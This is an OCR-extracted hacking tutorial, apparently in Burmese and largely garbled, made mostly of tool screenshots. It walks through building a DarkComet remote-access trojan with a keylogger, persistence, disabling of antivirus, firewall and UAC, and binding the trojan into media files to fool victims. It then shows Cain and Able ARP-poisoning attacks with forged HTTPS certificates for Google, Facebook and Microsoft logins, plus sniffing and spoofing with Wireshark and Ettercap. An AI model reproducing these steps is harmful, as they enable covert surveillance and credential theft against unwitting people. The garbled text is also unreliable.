° L L L4 o
c 9 N C c C . N
©$033002:0) program @oo’]oooou data 338 client § server @’3,9’3 share
ocC ’] C Q_C N o o N\ (o ocCco C N
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data traffic o>copd:0 encrypt @[ngooo,aJc Ejpgoooo.@co G203

DarkComet RAT

Remote Access Trojan (RAT) emoc\mocf seag:eg:e0m DarkComet

C

RAT @ogo']coof)u bit.ly/dcRAT-kmn oo eslé:8Elondi zip passwords

IL L
o Cc O
meo) rekings.com ol install engoelog portable app @0(\% Folder
Q _¢C QocC o] Q ’] C
OMMEV: WE;02PE02 AV lewl
. T g = Elﬁ i
o users | 15} on Connect | ] Usersiogs | I Socket /Net

3 Listen to new port (+Listen)
FaY

v 05,5P,a., %RAMUsed Language/Country A, C. Ping Idie
o Client settings
i Embedded FTP Client
%X Server module (657,50 KB) Minimalist (Quick)
& Edit server downloader (2K8) E3 Full editor (Expert)
@ About DarkComet-RAT v5.3
@ A problem ? Show help

=

4 Buy VIP Account {only 20€)
I Exit the software

C . Qo Q
gg@: menu meg server module >> Full editor o> o¢ C\B o5l

sl Main Settings

. l_-l Metwork Settings
[ g Module Startup
._. Install Message
# Module Shield
i Kevlogager
Lo il Hosts File
oy Add plugins

2= File Binder

2 Choose Icon
-~ Stub Finalization
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(78J§GO’)’JO%S’BG§§° Ga‘,QJOJ seting C\BOG&)’JC@GPGOQOB

c C
808@ C 6‘[(),]9 QIll
¢/ Create a new stub - Installer version < v5.n > o B [
- Saved profiles ' '
Lt — : - 9
|| security Password ; [0123456789
Show the password chars
Process Mutex : DC_MUTEX-MCAT2XL B Random 9
4 Main Settings Server ID Guest1s (7]
o 8 Network Settings
&% Module Startup Profile Name :  Settings-01 (7]
bl Install Message
i+ Module Shield Process Hijacking
Pl KEY"JQQEF [ active FWB (Firewall bypass) o
¥ Hosts F"? - Don't use this option if you plan to crypt the stub,
'ﬁ A.dd Fllugms - Don't use this option if you wan't to sandbox the stub,
o File Binder -Don't use this option if you don't have firewalls in the stub destination.
I8 Choose Icon
L{E Stub Finalization
i Build The Stub

Main settings ©2°602) :1%6@: oo:oo:@o:@o: eglo']:n:u Security
d ° L L d L
Q ocC ° cC o ¢ . .
password co:Om eo:&Lc@: password sao?:@[eooaceelcem? client setting
N ’] C c 9 o] Q C ’] C N
eo0l  password 690C  0$03:00%8Q  OF00leWI password 660D
ooo:@éelesaoéu Active FWB oeo>p Firewall bypass Q%S?(Selé
0p523:30 8305"9@03505 sae@sae e (Hes) eco%@ooo"@" ogsae@sae
2R S el ? XX ‘g X ?
o O C C c o ¢ ° OC’] C
ARYPOISH QYOIMCIMDWVCE0? saoa:@@co oWl
L o L ° L L

" Create a new stub - Installer version < v5.n » o & |3

Saved profiles IP/DNS : 127.0.0.1 ob Port: 1604 ] ADD

= 127.0.0.1:1604 Few rules you should respect,

- Be sure the chosen nort is forwarded.
. N C C Q
Networl: settings ¢>60>p IP %c Port @g:gc.q?mﬂu se§?goii>2
N o
local hos(‘E 1P 00 §0§0 Ejooo.o’]oooou add o5} sao?@[@ eelelecieviNte
Oleooton S



' Create a new stub - Installer version < vS.n »

| Saved profiles

(] start the stub with windows (module startup) (7]

Drop file in :

MYDOCS# | ¥ | ¢ MSDCSCYmsdcsc.exe 7]

Startup key name : MicroUpdate 7]
[T] melt file after first execution &

[]change file creation date : 15/04/2007 DDMMrY

o4 Main Settings
-8 Network Settings
&% Module Startup

["] Persistence installation ( always come back )

u;. Install Message Dropped file attrib Parent folder attrib o
i ? Module Shield [ Hidden [ Hidden

1| Keylogger [ systam [] system

b i Hosts File

offy Add plugins

2% File Binder

Choose Icon
i Stub Finalization

Module ~ Startup ~ eoeop 88  [géaoécdepecy  dlgt
d ° L (o]
8908%8(5]@:13:0’)05" Creation date 09@| Parent folder attrib o3 ®Q)é@(§

4 E
@[@80300 @[@8%8&@3}:0’)0&

e e s e s = e |

Saved profiles [¥] Display & message box on first module load

o @O A

Title : Welcome

Message !

Welcome to DarkComet RAT,
If you see this message, it means the stub successfully runs and you will apear
in the master user list.

w4y Main Settings
& Network Settings
&% Module Startup
| Install Message |
e Module Shield
|| Keylogger

i i Hosts File

-ﬁ Add plugins 'S Test MessageBox
i3 File Rinder |

00 C 9 . C
Install Message ¢2607 ©60$033002:09 Program install ©peo




éwé :8ECloncSn Test Message Box o3 gﬁ@:mé:
o L d

-

. Your system is safe and secure, now.
' You can use your system trust,

[

00 ON . . o ocCco C
[ATaTe)) Victim o QLOPORSCANIMN
c L d ° L L o

(%
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593G§6P(j)’3 8’3&)86@0’)’3

ocC (S
GGFOO’J: G(D’J@&LCO [opleb]]]

°% Create a new stub - Installer version < v5.n >

Saved profiles

----- J”"‘* Main Settings

'—' Metwork Settings
gb Madule Startup
Lol Install Message
("“ Madule Shield |
bt | Keylogger
L@ Hosts File

Fooffy Add plugins
L3 File Binder

E' Choose Icon
el Stub Finalization

Module

@EG(Y 61(),]0" 809’3 Task manager (73

[o] & ]

Stealth and persistance functions (rootkit)
L)

[ Hide startup key from meconfig (32bit anly)

[ | Persistent process (if killed it come back)

[ Totally hide stub from explorer and related files explorer,

[ Totally hide parent stub folder from explorer and related files explorer,

Disable system functions
|| Disable Task Manager (CTRL+ALT +5UPR) o
[ Disable Registry (Regedit)
I8 || Disable win firewall (XP 5p3 to Windows Seven)
[ [] Digable Windows UAC (User Acount Control)
Work in older system such as (¥P Sp2 or before)
[T Disable AV Notify [ Disable Win Update

[ Disable Security Center || Disable Control Panel

i Build The Stub
. 00 O C Cc O o c oy
Shield 9260 060} @ggmngepeogo? :mﬁ@o)
o C C o o]
disable QO OGO
Q

C C

orgﬁemoooeoo’; Anti-Virus Notify o?o Dlsable Seleplel(eaten]]



% Create a new stub - Installer version < v5.n > = R <
| 1

Saved profiles : :
(] || Active offline keylogger an server startup

[¥] 5end logs via FTP (File Transfer Protocel)

Account [ v] .-_%
FTP Host :  ftp. yourhost.com
FTP User : username

FTP Pass ! ssssssssss

o Main Settings

= Network Settings FTP Port: 21 = (Default port : 21)
i4% Module Startup FTP Path: |
_| Install Message
e Module Shield Send logs when size reach ; 10 & KB
i[1] Keyloager [ [
L @ Hosts File (i
oy Add plugin # Client Settings - root, o |[-E-|[=3
-~ File Binder v il General Settings | a | T IVRES
-y Client Layout | FrpUser:

! % Choose Icon
) Stub Finalization

{21} Functions Manager
{i Manage FTP Wallet & | FTP Pwd |
iyl Embedded FTP Clier

i~4k2) No-IP Updater |

FTPPort: 21 =

s R

.OC . Q . C C
Keylogger = ocC:enoeo>y  Keylogger o>  activate  cooewi

(o Cc O [ C Qo _C (o X o C [
0R1$60220260 FTP Host oo09s CQOCOM0MQHC  OOOICOPYIACE  user &
(L] LL L d ° O
assword oo C:Dé"@é"sa'r@é NI§cm5038  FTP server cd Logs cood
p PIGC[eETYe Q9 28, g 5 ?

(o o C’] C o o o o o ocC o C°
upload eplef=IeH{=1"0] @oo ool Account $SIEM  AVOGQI) &o@,mg.
d ILL L d

. . (o] C o cocC ’] C Q N\ Q Q¢Cc O
client settmg 608(7? CO00o B[@C&LCO S 20:00 QI SG§6P(?’JGO’)? SBSS’B(%C:OB

I
QGLO’JBGO’)’JO(]CD:II
° L
', Create a new stub - Installer version < v5.n > = IE||
Saved profiles
e (") No icon
@ Custom icon
Custom icon path : | | @D

i Q8

N . (o] c _C
Choose Icon o> ® §Q§DGO:OO’3:O’) icon cOON e@[ooelc
1 iL L s 6L

m

[ [ AR 1

¢ CQ c Qo N - o ¢, 2 [0 c
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----- -ﬁ Add plugins | | !
{2 File Binder | [T Execute binder at each sarver startup |

: Choose Icon
bl Stub Finalization

File Name ;  C:\Jsers\Public\videos\Sample Vide | [ == Add File
. . c co ¢co oc o
File Binder mec02 095600503 0$0%:000:09 GCo) 83@9: photo,
. N f]c o Q 0C N . ,]
movie, Il’lp3, ®O’)’DGO’3§° cO C:®OGO:C\EO’3 S’BCDe@ &L O? OpthIl Ol
( c c ,] [°) - r] .
O’8J§GO’D’DODGO’)’3 3D 02030 CDeII)
° L L L
5 Create a new stub - Installer version < v5.n > El— = |
| Saved profiles i
10:01:05 AM > sborted: Generation sborted by user
Nelines @ 1 I: %' l
..... J’\ Main Settings Output extension : ‘_exe - Normal executable v'
|—-—| Netwark Settings Compress Exacutah B Normal executable .
@* Module Startup com - Do2 application {No ieen)
(=] Install Message @ No cornpresmm .bat - Batch file (Ho iecon)
i@ Module Shield 1 UPY (Ultimate | .pif - Doa shorteut {Na iecon)
+ gL - SCIEEEI saver
(L] Keylogger (") MPRESS (,NET PE32%)
@& Hosts File
i uﬁ Add plugins
3% File Binder Generate a patch for remote settings updater |1| Generate
by % Choose Icon
""" {4 Stub Finalization [ save the profie when stub successfully generated |

C o . . . C C
c$2m30: Stub Finalization ¢dc02p .exe , .com, .bat, 003@@9

(o C (o C NN C Q _C C
GgFSJOJODG‘P GOgO(]QOJII 0’8J§GO’)’DODGO’)? .€X€C i(.) &:)(7308’38&?(73(.;]0’)03"

E | ' Buid The Stub
6922053300 Build The Stub ‘: OC@" Desktop eoTeo

S’B’LC\)@@ @ D

test.exe aooo§oeé§° save coooo']oooou aaﬁ Desktop eo’Too @@qc

ogﬁeooo co§o%:coooo>) test.exe (Trojan) eoo: emcooo']@u victim o

C N ,] c ' c ’ c 0 c N o I [
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0° ° od [ g L 1
O’) (3 ? ®GP Of]Of]O’)Q)II

/ sCO

C . . ocC '] C
listen & cgsaogooooco@: listen to new port mes listen §colodadi



Add Server Socket [Listen]
Listen port ; =)

[V]Try to forward automaticaly (UphP)

k4 Cancel 14 Listen

Wrappers
oo@ceoogo%eoo Keylogger CloCesod Trojan 006903 w§°o%°§
J [ o y gg J °5

@:o’]@u saat%o’] Trojan eogor% target c® 80%888610)’3(%[8(\)?8 @
oV}

2 (3)

L
ocC
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GO’)\ G(.ﬂé"@(?) (9’3(3 QO Se @6%86]0’)05" mCGO’)’SO% (61
3%, eClEi0bqudroopd: (468 3
C c O oOC N C
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cco C o] ’] C C ’] Qo _C C Q
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wrapper saa$:mgp GGPO%C\)’JO(]GO’)?O’)Q)II

s\aoaéc{é O?O’S(??:GTJ(JQ’J saoasaéeo:eu‘é wrapping  tool e
QoloocSi Elite Wrap, IzPack for Java applications, Senna Spy $ File Joiner

O%.C) @6(.;]0’)05" 8’3@’38 tool GO’gC\)é: QJ’_)SQD %@O(]GCD:O’)OSII 8 tool 80’3(7%

[

° N\ C C C C N .
8’30;38@[610? qgaooqooooem’; O’)GT_):OC software GO’gOO(f’J virus (OI')

1 o C CoQ C C ’] C (’] C t t t b
malware 80’3(73 OO@QC?C,C\EOD’JG@DQ @00 oIl (8 G@’Jg orrent Site eogi

Cracked application §gec303 920320[g20¢ o203 6[gnaom [gdclondd)

File Joiner
bit.ly/kmn-fj ooe$ download 610.‘2@: extract @éooo:o’]u
| File Joiner - o HEN

Opticns Language Help

| Path Size Status I
[¥] Auto
Add Files Add Folder Remove Remove All
Browse
| -
| [] Append to first file in the list (advanced users only!)
Ready Join

when done: [] Open output file [] open output folder _IDelete parts [lEexit



Portable file % open Q%or%eﬁ

LLTe

Path Size
C:\Users\root\Desktop\CA.exe aMB
C:\Usersroot\Desktop\test.exe.exe 757 KB

ocC C N Q C N
Add file o>e$ program GCO209§ test.exe QO $26pO6VIN0) 9§

L L
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«  Analyze network problems

% Detect network intrusion attempts

# Detect network misuse by internal and external users

% Document regulatory compliance through logging all perimeters and end
point traffic

% Gain information for effecting a network intrusion

% Monitor WAN bandwidth utilization

%* Monitor network usage (including internal and external users and
systems

« Monitor data-in-motion

#» Monitor WAN and endpoint security status

#» Gather and report network statistics

%* Filter suspect content from network traffic

%* Serve as a primary data source for day-to-day network monitoring and
management

*%* Spy on other network users and collect sensitive information, such as
login details or users

% Cookies (depending on any content encryption methods that may be in
use)

% Reverse engineer proprietary protocols used over the network

** Debug client/server communications

** Debug network protocol implementations

%* Verify adds, moves, and changes,

** Verify internal control system effectiveness (firewalls, access control,
web filter, spam filter, proxy) ooxeo @o%o’]mugu
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Time Source Destination Protocol Length Info

10.000000000 192.168.43.153 74.125.24.188 TCP 66 33740 —~ 5228 [ACK] Seg=1 Ack=1 Win=361 Len:

80 [RST, ACK]

5 :9a: 192.168.43.17
5 35.457895735 XiaomiCo_20:39:2f ChikonyE_63:9a:06¢c ARP 42 192.168.43.1 is at 74:23:44:20:39:2f
6 44.928534090 192.168.43.153 239.255.255.250 SSDP 213 M-SEARCH * HTTP/1.1
7 45.929754878 192.168.43.153 239.255.255.250 SSDP 213 M-SEARCH * HTTP/1.1
9 46.930152515 192.168.43.153 239.255.255.250 SSDP 213 M-SEARCH * HTTP/1.1
11 47.931401030 192.168.43.153 239.255.255.250 SSDP 213 M-SEARCH * HTTP/1.1

Protocol size: 4

Opcode: request (1)

Sender MAC address: ChiconyE 63:9a:0c (64:5a:04:63:9a:0c)
Sender IP address: 192.168.43.153

Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00
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16 87.517594353 192.168.0 152 168 .

» Frame 16: 65 bytes on wire (520 bits), 65 bytes captured (520 bits) on
» Ethernet II, Src: ChiconyE_63:9a:8c {64:5&:}, Dst: XiaomiCo_
» Internet Protocol Version 4, Src: 192.168.[:;[ Dst: 192.168. N
» User Datagram Protocol, Src Port: 50658, Dst Port: 53
» Domain Name System (query)
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:~# tcpdump

:~# tcpdump -vv
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.wlan@ [Up, Running]
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6.ethe [Up]

.bluetooth® (Bluetooth adapter number 8)

8.nflog (Linux=netfilter log (NFLOG) interface)
.nfqueue (Linux netfilter queue (NFQUEUE) interface)
.usbmonl (USB bus num
.usbmon2 (USB bus number 2

2.usbmon3 (USB bus number 3
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| MAC address [ OUIfingy Cain

WARNING ! TCP Large/Giant Send Offloading is enabled for the

’ . current network interface, Cain's 551 MitM attacks could be affected;
please check the Windows's advanced settings of your network L\\)
interface configuration.
Alternatively you can globally disable task offloading features with the
following command:

netsh int ip set global taskoffload=disable

Remember to deactivate and re-activate the network interface after the
above command.

@0:@000:0§e§610me§ start @éq&\)é: Warning Box oo
eogqcfoo']u

Cain

WARMING ! TCP Large/Giant Send Offloading is enabled for the

i I % current network interface. Cain's S50 Mith attacks could be affected;
please check the Windows's advanced settings of your network
interface configuration,
Alternatively you can globally disable task offloading features with the
following command:

netsh int ip set global taskoffload=disable

Remember to deactrrate and re-activate the network interface after the
above command.
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icrosoft Windows [Wersion 6.3.96881
{c) 2813 Microszoft Corporation. All rights reserved.

sUWindowsssystem32>netsh int ip set glohal taskoffload=dizable
k.

SUindowsNsystem32>
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Status

& APR

] IP address

1 MAC address

| Packets -> | <- Packets | MAC

[ APR-Cert
..... 2 APR-DNS

B APR-5S5H-1 ()

Z) APR-HTTPS (0)

E) APR-ProxyHTTPS (0)
% APR-RDP (0)

Sy APR-FTPS (0

S} APR-POP3S (0)

Status IPa

ddress

MAC address

Packets -> | <- Packets | MAC

£} APR-IMAPS (0)
£} APR-LDAPS (0)
S} APR-SIPS (0)
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e
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’]C Q ocC C Cc O N [0} N
3260ICICOM DN §O@8 ('78]?80)’30) network oo 61@?0’)
S L ] [ ] 1 °
C Q C C ’] C
®('DG03(73 (00] 508080 [2]eN]]
Mew ARP Poison Routing
WARMING 1!

all ather hosts on pour LA,

APR enables you to hijack P traffic between the selected host on the left list and all selected hosts on the right list in bath
directionz. If a selected host has routing capabilities WA traffic will be intercepted az well. Please note that zsince pour
machine has not the zame performance of a router you could cause DoS if pou zet APR between pour Default Gateway and

IP address | MAC | Hostrame IP address | MALC | Hostname
1721632 O0S05EF4D5D5 172.16.3.128 0DDC23CACFE3
172.16.3.128 O0DC23CACFA3
Fl T 3 | I | »
Cancel
R |
c C . C o N C ’]
m$eox 2 Cain and Able ¢cadeso) oodod 172.168.3.2 ol
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ork I@ Sniffer Id Cracker ]@ Traceroute ]M ccou I*ﬂﬂ Wireless laj Query I
Status l IP address l MAC address ! Packets -» I <- Packets l MAC address IP address
dhldle 172163.2 005056F40505 000C29CACRES 172163128

C f] ° o ocC C ’]
3200000 (.I-)ODGC\)SS’BO?CS @038’380 @II

Qe BHE + v B 5 Om)
|@, Decoders IQ Metwork I@ Sniffer i@i? Cracker l@ Traceroute IM CChou

IP address | MAC address TF

1721632 D05056F4 0505 .

DS saeo’Teoooé@o:oo APR logo ¢ Start poisoning or%

F AnD NKIC

]

cC o ¢ N C f]o Q . . C (o] C ’] C
(.)C\EO’)O’)’3§° 3200000 (.L)C\a POISOIllIlg @008’380’)’30? @celo OOl

ik m Sniffer Id Cracker I@ Traceroute lm ccou l[(ﬁ']] Wireless l%) Query |

Status _| IP address I MAC address | Packets -> L<— Packets I MAC address | IP address I

172163.2 005056FAD5D5 |17 ™4 | 000CJOCACFSS | 172163128

—

Status IP address I MAC address Packets -> I <- Packets | MAC address IP address i
p Full-routing 172163128 000C29CACFE3 215 375 005056F4D5D5 64.233.189.106
@ Full-routing  17216.3.128 000C29CACFE3 28 EE] 005056F4D5D5 74125.200.138
r Full-routing 172163128 000C29CACFE3 83 128 005056F4D5D5 74.125.200.94

< Full-routing 172163128 000CZ9CACF83 15 18 005056F4D5D5 74.125.200.95

P Full-routing 172163128 000C29CACFE? 71 124 005056F4D5D5 74125.200.132
{r Full-routing 172163128 000C29CACFE3 6 z 005056F4D5D5 74.125.200.101
{r Full-routing 172163128 0D0C2O9CACFE3 68 143 005056F4D5D5 43.224.8612

dp Full-routing 172163128 000C29CACFE3 252 647 005056F4D5D5 43.224.86.14

@_ Configuration / Routed Packets !

c C C c N c N
MY$EO7 COOC|OPRE$07 R$Y||o20s, Browser e www.google.com
o Q _C N cQ C N Q ° o o]
M ROMN:| g gcooxoy Cane and Able ¢> 200 06 o
C o C < c .
@ooao:ooooo eoo@celo oIl google.com o :Decnoe@o@oooo I D site
o L o4
o N Q QO C C
02009220928 SCVE2 C\n@eo@@o (oplen
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c C C c N c
0QJ$eod emg@@e§o? M$Q|o»»  Browser o> google,
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| Status IP address MAC address Packets -> | <- Packets | MAC address IP address

<l>__
r Full-routing 172163128 000C29CACFE3 47 005056 F4D5 D5 74125, 200 138
| Full-routing 172163128 000C29CACFES 136 183 005056F4D5D5 74125.200.94
| Full-routing 172163128 000C29CACFE3 1128 2483 005056F4D505 74.125.200.85
P Full-routing 172163128 000C29CACFE3 89 153 005056F4D5D5 74125.200.132
P Full-routing 172163128 000C29CACFEZ 9 10 005056F4D5D5 74125.200.101
< Full-routing 172163128 000C29CACFES 227 477 005056F4D505 43.224 86,12
| Full-routing 172163128 000C29CACFES 252 647 005056F4D5D5 43.224 86,14
| Full-routing 172163128 000C29CACFE3 33 38 005056F4D5D5 7412568.95
P Full-routing 172163128 000C29CACFE: 24 3l 005056F4D5D5 74.125.200.139
| Full-routing 172163128 000C29CACFES 85 206 005056F4D5D5 74125.200.54
| Full-routing 172163128 000C29CACFES 356 553 005056F4D5D5 64.233.189.94
drFull-routing 172163128 000C29CACFES 287 538 005056F4D5D5 157.240.7.35
@ Full-routing 172163128 000C29CACFE3 24 28 005056F4D5D5 157.240.7.26
|4 Full-routing 172163128 000C29CACFES 26 33 005056F4D5D5 157.240.7.8
A Full-routing 172163128 000C29CACFES 34 39 005056F4D505 65.55.118.92
P Full-routing 172163128 000C29CACFE3 28 44 005056F4D5D5 131.253.61.68
|4 Full-routing 172163128 000C29CACFEZ 170 330 005056F4D5D5 104.103.59.29

eaccnorgoo IP address (172.16.3.128) C)Oé orgﬁem% emé@ée;?o:)
03$q||lmoe\1° P @6@:@0’)’; ez?oorgaEL):oo IP address eogoeon) sas?eo’] ®orgooe§
ognieqpodconioy Website 6o3q, IP address 60p [g6[ogcloncdi
o ° O I o

Certificate file | SSL Server | Port | Hostname
[E=)C\PROGRA~1\Cain\ Certs\self_signed_64.233.180.1... 64.233.189.106 443 www.google.com
R [E=)C\PROGRA~1\Cain\ Certs\self_signed_74.125.2009... 74.125.200.94 443 google.com
-2 APR-55H-1 (0) [ECAPROGRA~1\Cain\ Certs\self_signed _74.125.68.35... 74.125.68.95 443 *.googleapis.com
-2 APR-HTTPS (33) [EIC\PROGRA~1\Cain\ Certs\self_signed_74.125.200.1... 74.125.200.139 443 *.google.com
é APR-ProxyHTTPS (0) C:\F’ROGRA~1\Ca|n\Cer‘t5\seIf_s|gned_?d.lES.EU(].S... 74125.200.84 443 accounts.google.com
@ APR-RDP (0} C:\PROGRA~1\Ca|n\Certs\5eIf_5|gned_64.BB.189.9... 64.233.189.94 443 google.com
é APR-FTPS (0) C:\PROGRA~1\Cain\Certs\seIf_signed_157.240.?.35... 157.240.7.35 443 *facebook.com
5y APR-POP3S (0) (= C\PROGRA~1'\Cain\ Certs\self_signed 157.240.7.26... 157.240.7.26 443 *facebook.com
é APR-IMAPS (0) C:\PROGRA~1\Cain\Certs\seIf,signed,lS?.ZélO.?.B.... 157.240.7 8 443 *.atlassolutions.com
é APR-LDAPS (0) [EC\PROGRA~L\Cain\ Certs\self_signed _74.125.2009... 74.125.200.95 443 *.googleapis.com
é APR-SIPS (0) [EC\PROGRA~1\Cain\ Certs\self_signed _43.224.86.12... 43.224.86.12 443 *.googlevideo.com
C:\PROGRA~1\Cain\Cert5\self_signed_65.55.118.92... 65.55.118.92 443 *mail live.com
(=1 C\PROGRA~1\Cain\ Certs\self_signed_131.253.616... 131.253.61.68 443 gateway.loginlive.com
(&1 C\PROGRA~1\Cain\ Certs\self_signed_104.103.59.2... 104.103.59.29 443 msagfxlive.com
CDOSCDOS@(S°Q’J OG O'\) OMOAISOQD BC@ S 8 $G 0307 O%C"GO')\
NS 2 o 81 POIRNC ¢ °3 PCRB%
C C Q o (o}
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Certificate file, SSL Server, Port g
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@8 Slooadi C)eo@ 5qCcom  oP$c0S emé@ 56503  MSVJOLD
9 0PIRYCe? Ry FBELEPR RBrAUS

ABrepoM / ol?:émoeogoo www.google.com, accounts.google.com,

. . o ] [og oy log
facebook.com$ mail.live.com s0o2600 ™M em@cq@o@@o’]mwu
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Capture Analyze Statistics Telephony Wireless Tools Help
RE Q «» 0 1e»= =

Welcome to Wireshark

Capture

...using this filter: l |Enter a capture filter ...

2
Interface

eth0

Windows 7 (Cain and Able géooo:of)o)cﬁ) & Windows 8.1

C C e N C o C e N\ O N N 9 . .
(emg@@ 365907 ooo) s'aaceo'] o0d Joxo §eso) network 0o Kali Linux
c Sl S5 S 3SSloneS c < e 2. Q 7
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Machine 609350 a3a8ad0m0l s@@o"@ogeoo 08esqteomy VM cms
oo DAL R : SR S R S %
®e:§Lco']oooou)
90050l dDM303E:C1dN Wireshark o3 coéqgcﬁ@: Apply a display
L L L O° L
filter esepe> arp B 0pda3a5Clorcdi ARP poison routing co6ea8dln
d L S L L d [

. (o c O C C Q N C O .
@SGO’)? interface G?GTD(?’D OCD)J?GO’)’DO’%GOD’DQ@@C\BO? C\)O’)Gﬂ network interface
Q (o C (o C N0 O O N ° C
O? Gg:@JOquf]QODII OCD)J?GO’)’DO’)GO’)? VM GO’g%%C\Eo ethO O?O O?:(I)’D:Of]O’DQJII
C Q _C O "] C"’] ocC C C "] C
@ch start C\BO’)C\E° 610 @II c320000 G’BO?C: qcoseog @ceogqo [2IeM)]

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
| & @ B X[C Q «» .0« s

No. Time Source Destination Protocol  Length Info

! 40 4.538958413  172.16.3.130 239.255.255.250 550P 548 NOTIFY * HTTP/1.1
41 4.539424355 fe86::b52a:2703:c684:26b7 ffez::c SSDP 569 NOTIFY * HTTP/1.1
42 4.654962789  172.16.3.128 239.255. 255,250 SSDP 473 NOTIFY * HTTP/1.1
43 4.654981281  fedo::ecal:3bb9:féla:bded ffe2::c SSDP 502 NOTIFY * HTTP/1.1
44 4.,820367304 172 .13@ 239.255.255.250 SSDP 476 NOTIFY * HTTP/1.1
45 4.820933128  feBd :c684:26b7 ffo2::c s50P 565 NOTIFY * HTTP/1.1
46 5.092743867 172 239,255, 255,250 SSDP 482 NOTIFY * HTTP/1.1
47 5.092766567  feso :fe1a:bded ffe2::c SSDP 511 NOTIFY * HTTP/1.1
48 5.245549328 172 239.255.255.250 SSDP 485 NOTIFY * HTTP/1.1
49 5,245563426  feBo :0604:26b7 02: 55DP 514 NOTIFY * HTTP/1.1 L3
50 5.388752858 fes@ :f8la:bdcd Tes0::b52a:2703:c60.. SSDP 453 HTTP/1.1 200 OK
51 6.3908343867 172.16.3.128 239.255.255.250 SSDP 525 NOTIFY * HTTP/1.1

Frame 1: 208 bytes on wire (1664 bits), 208 bytes captured (1664 bits) on interface 0

1
»

» Ethernet II, Src: Vmware_69:fc:99 (80:8c:29:69:fc:99), Dst:
» Internet Protocol Version 6, Src: fe8@::b52a:27083:c684:26b7, Dst: ff@2::c
»

User Datagram
» [Simple

e

3

33 33 0@ 00 0O B¢ 89 Oc
60 60 80 9%a 11 01 fe 8@
27 83 c6 04 26 b7 ff 02
808 60 00 88 80 Oc €2 1b
53 45 41 52 43 48 20 2a
31 0d 0a 48 6f 73 74 3a
5d 3a 31 39 30 30 0d Ga
69 63 72 6f 73 6f 66 74
28 50 65 65 72 20 de 61
75 74 69 6f Ge 20 50 72
56 34 3a 49 50 56 36 3a

€th0: <live capture in progress>

Protocol, Src Por

7883, Dst Port: 1980

29 69 fc 99 86 dd 60 89
60 80 60 80 B0 B0 b5 2a
60 60 €0 00 00 0O 0O 0O
87 6c B0 9a ec 59 4d 2d
20 48 54 54 50 2f 31 2e
5b 46 46 36 32 3a 3a 43
53 54 3a 75 72 6e 3a 4d
20 57 69 6e 64 6f 77 73
6d 65 28 52 65 73 6f B¢
6f 74 6f 63 6f 6c 3a 20
4c 69 6e 6b 4c 6f 63 61

. M-
SEARCH * HTTP/1.
1..Host: [FFE2::C
1:190@.. ST:urn:M
icrosoft Windows
Peer Na me Resol
ution Pr otocol:
V4:IPV6: LinkLoca

_8c (33:33:

Packets: 155 - Displayed: 155 (100.0%)



Mac Spoofing
C C o C C .
Mac spoofing 20pd ©m§on  woeode0;0%03 Media Access
Q C C C C Q
Control ~address (MAC address) o3  g[goCicd0y  $p520$0600690)
C cocC C C Q
oamcfm‘%co']moou omweo MAC address s00>> Network Interface
C Q C Q C .
Controller oc\xfo hard-coded @oon% e@oc:n\x\% eqo’]:ra:u sleowod Operating
(o c O C o 0O C Q c 9O (o]
System o NIC ¢5 03)$60250) e@oc:o?mgooof) Address 000 oo OO
Q)orgéof)@ Sax0te90C w688 Tool 6o 0P8OS 030 °@o’]mo§u
(IR R: L L % (e} 3P [ Bl
Q . C Q Q
s\aoaag MAC address masking ngof) process 3 MAC spoofing o
'8 0lonod
eal solodwi

DNS spoofing

orgo%eoo’; DNS cache poisoning Q%Q)é: esT@o’]moSu DNS
spoofing o>eo>) Domain Name System (DNS) name server's cache database
N O (o [N (o] C C N Q . C N
O eepme0)  data  copo)  DWspigesd  introduce  AWOO)

L d O L L L

computer-hacking attack ooo%éj" @ogo']m(f)u 8&% Q)(Seaooé@&sao"@é Name
Server 038 incorrect IP address ecgcd return [g§eoomndal [gogascol

traffic eoooo attacker 61 (73§(.)J".O’)’JSO me,meepoooao:eoa §C(.)f]O’)OJII
o L ° O o [e] L

Sniffing and Spoofing Tools
(o c O ° N C .
MQY$607503 sao?@@ g@ > Cane and Able 2op> ARP poison
m68@0836@° saoa@ © »0looodi 690506 poisoning cOESEY
L Tl W 2918 8" R ? p & QO{CT;
C (o c O . . C C C
tool 0>09me07 03@@09’303@10 Kali Linux ¢> olo€o} Ettercap @oo’]oooou
. o . C C .
network interface o3 promiscuous mode sa@o e@ocm\)eo:@: target machine
o . . coc C . . Q0
ooy ARP poisoning @[ng‘%co']cooou man-in-the-middle attack oo
C cocCcm@, [ (o] f]Coo\ QO _CO COC’] C .
ngemoc§c[§.em? victim e attack colC:dg cxods05§C0lodWI Plugin
support co C°e0°moe@95 lugin em@ Coaé"@" feature coRo3 9 .ESE]
pport copbieos : plugin coglypyop&ifG: 3% 2988

C
[=jov{ealoN]]]

Ettercap ettercap-graphical

(78]%80’)80%6\10 Kali Linux ¢oc0>; Ettercap g ettercap-graphical a‘c}@



° o C O N ’] C C’] C C Qo C ¢C ’]\ .

LL)® ?09\”}% (6] OC@:OO’J:@@O [oplob]]] UDQ)OD’JOB(OO(;(OO(; S’B%O’EO o command line
N ° Q (o ’] (o . O N C c o ¢ C

S’BG§§, S’BO?:@[C\%C\)E: 610 [opleb]]] QLGO’)? Graphlcal (730 gg@gngooelesncu

ettercap 0.8.2 - o x

File sniff Options Info

C O . C c 9
cood§) version o ettercap 0.8.2 @oo’]oooou 302
. C C C C ocC C
version update copds @oeoooc:@oe§§ccﬂoooou ettercap

031?%@0)80% ecg@éeﬁooo file, Sniff, Options $ info 0% @o%o’]m

ettercap 0.8.2

File Sniff Options Info

Unoffensive

Set netmask Ctrl+N

— e e

Options &> @éq& Promiscuous mode o3 Default sao%é: select

L
C C . o coc C C .
QOO0 eogelo']eoou Unoffensive o?cﬂ ea:aJoo‘%co']ooooM @:qcem’; Sniff
Q crc c . . . . . o
Q @@o@oo’]mwu Sniff ¢>6027 Unified Sniffing $ Bridged Sniffing a?@:
Q c . . C c
ao’]oooou Unified sniffing oneodp cable ecgeorr?o @mw§:agozo§ packet
o O . COC N c C C '] c .
g22:00: ) sniff WO&CH) §poiV6: @oo o>l one network interface ¢>000
C C C o _Q . C C c Q C
FAOOEs02Coey  network interface §0900  €30OCHMAOAQCE0)

Bridged sniffing or% saa?:@[%&ﬂooof)u



| File SHE_]: Options Info
Unified sniffing... Ctrl+U
4 Bridged sniffing... Ctri+B
Set pcap filter... Ctrl+P h

. cC Q ¢ Qo _¢C b .
Sniffing coocooo@eoelceooo cttercap  § options ¢
L L L ° o (e}
C (o] C f] <
e@oczoao:ooooo eoo@celo ool
o L o4

